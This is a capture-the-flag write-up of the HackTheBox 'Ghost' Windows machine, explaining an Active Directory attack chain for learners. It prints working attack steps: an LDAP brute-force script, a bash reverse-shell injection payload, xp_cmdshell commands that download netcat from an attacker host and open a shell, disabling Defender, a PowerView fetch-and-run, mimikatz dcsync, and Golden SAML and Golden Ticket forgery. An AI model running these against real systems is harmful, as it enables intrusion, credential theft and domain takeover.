All writeups
HackTheBox: Ghost avatar
MACHINE Windows HackTheBox 5/5

HackTheBox: Ghost

2026-06-08 14 min read
Tracks CPTS

Introduction

Ghost is a Windows Active Directory machine packed with advanced techniques. Don’t be discouraged by the “Insane” rating - this writeup explains every concept along the way. The full attack path:

  1. Enumeration → find a web intranet portal and a Ghost CMS blog
  2. LDAP Injection → bypass login and leak a Gitea token one character at a time
  3. Source Code Review → find a path traversal bug and a command injection bug in the Gitea repos
  4. Foothold → use both bugs to leak an API key, then get a shell on a Docker container as root
  5. Kerberos ticket theft → steal a domain user’s Kerberos ticket via a cached SSH session
  6. Hash stealing → add a fake DNS record to intercept an NTLMv2 hash, then crack it
  7. GMSA abuse → use the cracked credentials to read the ADFS service account’s managed password
  8. Golden SAML → forge a SAML token to log into the Ghost Core panel as Administrator
  9. Linked MSSQL → pivot through a cross-domain linked SQL server to get a shell on corp.ghost.htb
  10. Domain trust abuse → craft a Golden Ticket with Extra SIDs to fully compromise both domains and read root.txt

Key Concepts

What is Active Directory (AD)? A Microsoft system that manages users, computers, and permissions across a corporate network. Most enterprise Windows environments use it. Hacking AD usually means chaining together credential theft, ticket abuse, and trust exploitation.

What is LDAP? Lightweight Directory Access Protocol - the protocol Windows uses to query Active Directory for user information. An LDAP injection works like SQL injection: you sneak wildcard characters into a login form to extract data the server never meant to share.

What is Kerberos? The authentication system used in Active Directory. Instead of sending passwords over the network, Kerberos issues encrypted “tickets”. If you can steal or forge a ticket, you can authenticate as that user without ever knowing their password.

What is a Kerberos Ticket Cache (.ccache)? A file on Linux that stores Kerberos tickets for a user’s session. If you find one on a compromised machine, you can export it and use it yourself.

What is GMSA? Group Managed Service Accounts are special AD accounts whose passwords are automatically rotated by the domain controller. Certain users can be granted permission to read the current password - which is exactly what we exploit here.

What is ADFS? Active Directory Federation Services - Microsoft’s Single Sign-On (SSO) system. It issues SAML tokens that let users log into web apps without re-entering their password.

What is a Golden SAML attack? If you compromise the ADFS signing key, you can forge a SAML token claiming to be any user - including Administrator - without knowing their password. It’s the SAML equivalent of a Golden Ticket.

What is a Golden Ticket? A forged Kerberos ticket signed with the domain’s krbtgt hash. Because Kerberos trusts anything signed by krbtgt, a golden ticket lets you impersonate any user in the domain - including Enterprise Administrator.

What are Extra SIDs? When two AD domains trust each other, a ticket from one domain can carry the SID (Security Identifier) of a group in the other domain. By stuffing the Enterprise Admins SID from ghost.htb into a ticket forged for corp.ghost.htb, we get admin rights across both domains.


Enumeration

Nmap: full port scan

ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV <TARGET>

Key open ports:

PortServiceNotes
53DNSDomain controller indicator
88KerberosConfirms Active Directory
389/636LDAP/LDAPSAD directory services
1433MSSQLSQL Server - interesting!
8008HTTP (nginx)Ghost CMS blog
8443HTTPS (nginx)Ghost Core app

From the Nmap output we also get three domain names: DC01.ghost.htb, core.ghost.htb, and ghost.htb. Add them all to /etc/hosts:

echo "<TARGET> DC01.ghost.htb core.ghost.htb ghost.htb" | sudo tee -a /etc/hosts

Subdomain fuzzing on port 8008

The Ghost CMS blog at http://ghost.htb:8008 doesn’t show anything useful. Let’s look for hidden subdomains:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://ghost.htb:8008 -H "Host: FUZZ.ghost.htb" -fs 7676

Finds: intranet.ghost.htb

echo "<TARGET> intranet.ghost.htb" | sudo tee -a /etc/hosts

What is ffuf? A web fuzzer that rapidly tries thousands of possible subdomains or directory names. The -fs 7676 flag filters out responses with 7676 bytes - that’s the “not found” page size, so we only see real hits.


LDAP Injection: Leaking the Gitea Token

Bypass the intranet login

Visit http://intranet.ghost.htb:8008. You see a login form with a Username and Secret field. The page source reveals the username field name is ldap-username - a big hint that the backend queries LDAP.

Enter * in both fields. The wildcard matches everything in LDAP, so the server logs you in as the first matching user.

Once inside, the News section tells us:

  • There’s a Gitea instance for code repositories
  • The only valid login is gitea_temp_principal, using their LDAP intranet token as the password
  • The token is stored in LDAP but not displayed here for “security reasons”

Extract the token character by character

Use BurpSuite to capture a real login POST request so you can see the hidden form fields. Then write a script that tries each character position with a wildcard:

import requests, string, re, json

def get_secret(debug=False):
    url = "http://intranet.ghost.htb:8008/login"
    secret = ""
    alphabet = string.ascii_letters + string.digits
    page = requests.get(url).text
    action_1_0 = re.search(r'<input type="hidden" name="\$ACTION_1:0" value="([^"]+)"', page).group(1).replace("&quot;", '"')
    action_key = re.search(r'<input type="hidden" name="\$ACTION_KEY" value="([^"]+)"', page).group(1).replace("&quot;", '"')
    next_action = json.loads(action_1_0)["id"]
    for i in range(16):
        for letter in alphabet:
            r = requests.post(url, data={
                "1_$ACTION_REF_1": "",
                "1_$ACTION_1:0": action_1_0,
                "1_$ACTION_1:1": "[{}]",
                "1_$ACTION_KEY": action_key,
                "1_ldap-username": "gitea_temp_principal",
                "1_ldap-secret": secret + letter + "*",
                "0": '[{},"$K1"]'
            }, headers={"Next-Action": next_action})
            if "Invalid combination" in r.text:
                continue
            secret += letter
            if debug:
                print(letter, end='', flush=True)
            break
    return secret

if __name__ == "__main__":
    get_secret(debug=True)

How does this work? If the server returns “Invalid combination”, the character is wrong. If it doesn’t, the character matched the wildcard filter - so we know that character is correct. We repeat this for each position until we have the full token.

Result: szrr8kpc3z6onlqf

Add the Gitea subdomain and log in:

echo "<TARGET> gitea.ghost.htb" | sudo tee -a /etc/hosts

Credentials: gitea_temp_principal:szrr8kpc3z6onlqf at http://gitea.ghost.htb:8008


Source Code Review: Finding the Vulnerabilities

You find two repos: blog and intranet. The blog README reveals:

  • The blog runs Ghost CMS inside Docker
  • An API key DEV_INTRANET_KEY is stored as an environment variable
  • Public Ghost API key: a5af628828958c976a3b6cc81a
  • The file posts-public.js was modified to add an extra parameter

The modified code in posts-public.js looks like this:

const extra = frame.original.query?.extra;
if (extra) {
    const fs = require("fs");
    if (fs.existsSync(extra)) {
        const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
        posts.meta.extra = { [extra]: fileContent };
    }
}

What’s the bug? The code reads a file from /var/lib/ghost/extra/ + whatever you pass in. If you pass in ../../../../etc/passwd, the path becomes /var/lib/ghost/extra/../../../../etc/passwd - which resolves to /etc/passwd. This is a path traversal vulnerability: using ../ sequences to escape the intended directory.

The intranet repo contains backend/src/api/dev/scan.rs:

let result = Command::new("bash")
    .arg("-c")
    .arg(format!("intranet_url_check {}", data.url))
    .output();

What’s the bug? The user’s input (data.url) is dropped directly into a bash command with no sanitization. Appending ; whoami would run whoami as a separate command. This is a command injection vulnerability.


Foothold: Path Traversal → API Key → Reverse Shell

Step 1: Read the environment variables via path traversal

curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../../../../../proc/self/environ&key=a5af628828958c976a3b6cc81a"

The /proc/self/environ file contains all environment variables for the running process. In the output you’ll find:

DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe

Step 2: Use the API key to trigger command injection

Start a listener:

nc -lvnp 9001

Send the reverse shell payload to the vulnerable /api-dev/scan endpoint:

curl -X POST http://intranet.ghost.htb:8008/api-dev/scan \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
  -H 'Content-Type: application/json' \
  -d '{"url":"; bash -i >& /dev/tcp/<YOUR_IP>/9001 0>&1"}'

You get a shell as root inside the Docker container.

Step 3: Upgrade to a proper TTY shell

script -c bash /dev/null
# Press CTRL+Z
stty raw -echo; fg
# Press Enter twice

Why do we do this? The initial shell is “dumb” - no arrow keys, no tab completion, signals break it. This sequence tricks the terminal into giving us a full interactive shell.


Kerberos Ticket Theft via SSH ControlMaster

Find the cached SSH session

ls -al /root/.ssh/controlmaster/

You’ll see a socket file:

florence.ramirez@ghost.htb@dev-workstation:22

What is SSH ControlMaster? It’s an SSH feature that reuses an existing connection for new sessions. The socket file is essentially a “key” that lets anyone who can access it SSH as that user - without a password.

Steal the Kerberos ticket

ssh florence.ramirez@ghost.htb@dev-workstation "cat /tmp/krb5cc_50 | base64 -w 0; echo"

Copy the base64 blob to your machine and decode it:

echo "<BASE64_BLOB>" | base64 -d > florence.ccache
export KRB5CCNAME=florence.ccache
klist

You now have a valid Kerberos TGT for florence.ramirez@GHOST.HTB.


DNS Poisoning → NTLMv2 Hash Theft

Read the forum

Back on the intranet, the Forum tab shows a post from justin.bradley saying his script tries to connect to bitbucket.ghost.htb but the DNS entry doesn’t exist yet.

Create the DNS entry pointing to your machine

The florence.ramirez ticket gives you enough AD access to add DNS records:

bloodyAD -d ghost.htb -k --host DC01.ghost.htb add dnsRecord bitbucket <YOUR_IP>

Wait for the connection with Responder

responder -I tun0 -v

After a short wait, justin.bradley’s script tries to reach bitbucket.ghost.htb, hits your machine, and Responder captures the NTLMv2 hash.

What is Responder? A tool that listens for LLMNR/NBT-NS/HTTP authentication requests and captures the NTLMv2 challenge/response hashes that Windows sends automatically when it tries to authenticate.

Crack the hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Password: Qwertyuiop1234$$

Log in with WinRM:

evil-winrm -i ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$'

The user flag is on C:\Users\justin.bradley\Desktop\user.txt.


GMSA Password Abuse

Run BloodHound to map AD paths

bloodhound-python -d ghost.htb -c All -u justin.bradley -p 'Qwertyuiop1234$$' \
  -dc DC01.ghost.htb -ns <TARGET>

BloodHound shows justin.bradley has ReadGMSAPassword over ADFS_GMSA$.

What is ReadGMSAPassword? A permission that lets a user retrieve the current auto-managed password for a Group Managed Service Account. We can read the NTLM hash directly.

Read the GMSA password

nxc ldap ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa

ADFS_GMSA$ NTLM hash: 4b020ee46c62ff8181f96de84088ff37

Log in as the service account:

evil-winrm -i ghost.htb -u 'ADFS_GMSA$' -H 4b020ee46c62ff8181f96de84088ff37

Golden SAML Attack

Add the federation subdomain

echo "<TARGET> federation.ghost.htb" | sudo tee -a /etc/hosts

Visiting https://core.ghost.htb:8443 shows a “Login using AD Federation” button, which redirects to federation.ghost.htb. Logging in as justin.bradley succeeds but shows “this page is only available to Administrator”.

Dump the ADFS signing keys

Upload and run ADFSDump.exe as ADFS_GMSA$:

.\ADFSDump.exe

This outputs two things:

  • Private Key (DKM Key): a hex string
  • Encrypted Token Signing Key (TKS Key): a base64 blob

Copy both to your machine and convert them:

cat TKSKey.txt | base64 -d > TKSKey.bin
cat DKMKey.txt | tr -d "-" | xxd -r -p > DKMkey.bin

Forge the Golden SAML token

python3 ADFSpoof.py -b TKSKey.bin DKMkey.bin \
  -s 'core.ghost.htb' saml2 \
  --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
  --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
  --nameid 'Administrator@ghost.htb' \
  --rpidentifier 'https://core.ghost.htb:8443' \
  --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

What just happened? We used the stolen signing key to create a cryptographically valid SAML token that claims we are Administrator. Since we hold the private key, the server has no way to tell it’s forged.

Use BurpSuite to intercept the login flow and replace the SAMLResponse field with your forged token. You land on the Ghost Config Panel with database admin access.


Cross-Domain Pivot via Linked MSSQL

The Config Panel reveals two linked SQL servers: one on ghost.htb (DC01) and one on corp.ghost.htb (PRIMARY).

Check who we are on the remote DB

select result from openquery("PRIMARY", 'select suser_name() as result')
-- Returns: bridge_corp (low-privilege)

Check impersonation rights

select result from openquery("PRIMARY", 'select distinct b.name as result from sys.server_permissions a inner join sys.server_principals b on a.grantor_principal_id = b.principal_id where a.permission_name = ''IMPERSONATE'';')
-- Returns: sa

Impersonate sa and enable xp_cmdshell

exec ('execute as login = ''sa''; exec sp_configure ''show advanced options'', 1; reconfigure; exec sp_configure ''xp_cmdshell'', 1; reconfigure;') at "PRIMARY"
exec ('execute as login = ''sa''; exec xp_cmdshell ''whoami''') at "PRIMARY"
-- Returns: nt service\mssqlserver

What is xp_cmdshell? A built-in SQL Server feature that lets you run operating system commands. It’s disabled by default for security, but sa (super admin) can re-enable it.

Get a reverse shell

Host nc64.exe on your machine, then:

exec ('execute as login = ''sa''; exec xp_cmdshell ''curl.exe http://<YOUR_IP>/nc64.exe -o C:\windows\temp\nc64.exe''') at "PRIMARY"
exec ('execute as login = ''sa''; exec xp_cmdshell ''C:\windows\temp\nc64.exe -e powershell <YOUR_IP> 9001''') at "PRIMARY"

You now have a shell as nt service\mssqlserver on the corp.ghost.htb machine.


Privilege Escalation: SeImpersonatePrivilege → SYSTEM

whoami /priv
# SeImpersonatePrivilege   Enabled

What is SeImpersonatePrivilege? A Windows privilege that lets a process impersonate any user that authenticates to it. Combined with a “Potato” exploit, it reliably escalates to SYSTEM.

Transfer and compile EfsPotato.cs:

wget <YOUR_IP>/EfsPotato.cs -usebasicparsing -O EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs

Trigger with a listener on port 9001:

.\EfsPotato.exe 'C:\windows\temp\nc64.exe <YOUR_IP> 9001 -e powershell.exe'
# whoami → nt authority\system

Domain Trust Abuse: Golden Ticket Across Forests

Disable Defender

Set-MpPreference -DisableRealtimeMonitoring $True

Check the trust

iex(iwr <YOUR_IP>/powerview.ps1 -usebasicparsing)
get-domaintrust
# TrustDirection: Bidirectional
# ghost.htb ↔ corp.ghost.htb

What is a bidirectional trust? Both domains trust each other’s authentication. This means a ticket from corp.ghost.htb can carry permissions from ghost.htb - which we’ll abuse with Extra SIDs.

Collect the required values

get-domainsid ghost.htb       # S-1-5-21-4084500788-938703357-3654145966
get-domainsid corp.ghost.htb  # S-1-5-21-2034262909-2733679486-179904498

Dump the krbtgt hash for corp.ghost.htb with mimikatz:

.\mimikatz.exe 'lsadump::dcsync /user:krbtgt@corp.ghost.htb' exit
# aes256: b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d

Forge the Golden Ticket with Extra SIDs

.\Rubeus.exe golden /aes256:b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d /ldap /user:Administrator /sids:S-1-5-21-4084500788-938703357-3654145966-519 /ptt

Breaking this down:

  • /aes256:... - the krbtgt key used to sign the ticket
  • /user:Administrator - who we’re claiming to be
  • /sids:...-519 - the -519 suffix is the well-known RID for Enterprise Admins in ghost.htb
  • /ptt - Pass The Ticket: inject it into our current session immediately

Read the root flag

dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
type \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt

Summary

nmap → ports 8008/8443 (Ghost CMS + intranet)

ffuf → intranet.ghost.htb → LDAP login form

LDAP injection (*) → logged in → News: gitea_temp_principal account found

Python LDAP wildcard bruteforce → Gitea token: szrr8kpc3z6onlqf

Gitea repos → blog/posts-public.js (path traversal) + intranet/scan.rs (command injection)

Path traversal → /proc/self/environ → DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe

Command injection via /api-dev/scan → reverse shell as root (Docker container)

/root/.ssh/controlmaster → SSH as florence.ramirez → steal krb5cc ticket

export KRB5CCNAME → authenticated to ghost.htb AD as florence.ramirez

bloodyAD → add DNS record bitbucket → Responder catches justin.bradley NTLMv2 hash

john → Qwertyuiop1234$$ → evil-winrm as justin.bradley → user flag

BloodHound → justin.bradley has ReadGMSAPassword on ADFS_GMSA$

nxc --gmsa → ADFS_GMSA$ NTLM: 4b020ee46c62ff8181f96de84088ff37

evil-winrm as ADFS_GMSA$ → upload ADFSDump → dump DKM key + TKS key

ADFSpoof → forge Golden SAML as Administrator@ghost.htb

BurpSuite → replace SAMLResponse → Ghost Config Panel (DB admin)

Linked MSSQL → openquery(PRIMARY) → impersonate sa → xp_cmdshell → shell on corp.ghost.htb

SeImpersonatePrivilege → EfsPotato → NT AUTHORITY\SYSTEM on corp.ghost.htb

mimikatz dcsync → krbtgt AES256 for corp.ghost.htb

Rubeus golden + ExtraSIDs (Enterprise Admins SID from ghost.htb) → Golden Ticket /ptt

dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop → root.txt

Tools Used

ToolWhat it doesHow to get it
ffufSubdomain and directory fuzzersudo apt install ffuf
BurpSuiteHTTP proxy for intercepting/modifying requestsportswigger.net
bloodyADAD manipulation over Kerberos (add DNS records, etc.)pip install bloodyad
ResponderCapture NTLMv2 hashes via poisoned responsesBuilt into Kali
johnPassword crackersudo apt install john
evil-winrmWinRM shell for Windows machinesgem install evil-winrm
bloodhound-pythonCollect AD data for BloodHoundpip install bloodhound
nxc (NetExec)Swiss-army knife for AD enumerationpip install netexec
ADFSDumpExtract ADFS signing keys (needs Visual Studio to compile)GitHub
ADFSpoofForge Golden SAML tokensGitHub
mimikatzDump Windows credentials and Kerberos hashesGitHub
RubeusKerberos ticket manipulation and golden ticket creationGitHub
EfsPotatoSeImpersonatePrivilege → SYSTEM exploitGitHub
PowerViewPowerShell AD enumerationGitHub